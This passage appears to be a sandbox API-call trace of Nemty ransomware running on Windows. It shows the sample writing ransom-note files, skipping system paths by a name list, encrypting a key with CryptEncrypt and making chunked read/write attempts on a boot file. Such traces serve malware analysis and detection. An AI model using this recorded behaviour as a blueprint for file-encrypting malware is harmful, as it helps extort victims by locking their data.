lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.491] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\pl-pl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.492] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.492] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0045.492] CloseHandle (hObject=0x3c0) returned 1 [0045.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.493] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\pl-pl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.494] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.494] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0045.495] CloseHandle (hObject=0x3c0) returned 1 [0045.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0045.495] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xced0b670, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xced0b670, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0045.495] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0045.495] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xced0b670, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xced0b670, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.495] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0045.495] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0045.495] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0045.495] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0045.495] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0045.495] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0045.495] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0045.495] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0045.495] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0045.495] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0045.495] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0045.495] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0045.496] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.496] Sleep (dwMilliseconds=0x5) [0045.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xced317d0, dwHighDateTime=0x1d561e7)) [0045.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xced317d0, dwHighDateTime=0x1d561e7)) [0045.503] GetLastError () returned 0xb7 [0045.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.503] GetLastError () returned 0xb7 [0045.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.503] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0045.503] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0045.503] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0045.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0045.504] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="/+lGAXOegjwepxQrH7mP4dN+4L9jAlhFErTlMjOhi5/CuY6UvtpaF+n30+livUDR\r\n+GGa5ELLRr2O3USkwfYH0KggakarQcal4onBnj2qOKqtQAVEiQrWqL5nbcyxlooM\r\nqleZ2GbuQ6hov+BqAc0DSB3e4nvN6DbmxB9duu+FvnGKuDF+v+IZuNT74upwa+2C\r\nIcA5DO9P6D1/xquWEzz6wppaEAWrkQfbwkv6yZyIhXstV//Gx/qzq9yHqZZA48Pr\r\newxeILtgEC5r2dfwubc9FHcSAmXed4KWLpKg8zm042fnw8MOV/NhHBXgAYWWd7gc\r\n8Tgra3zjNa0HaQXQVlhmVg==\r\n", pcchString=0x653f2dc) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0045.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0045.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0045.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0045.504] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0045.505] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0045.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0045.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.533] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.571] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.580] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.590] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.599] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.605] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.612] CloseHandle (hObject=0xffffffff) returned 0 [0045.612] RtlAllocateHeap (HeapHandle=0x4f90000, 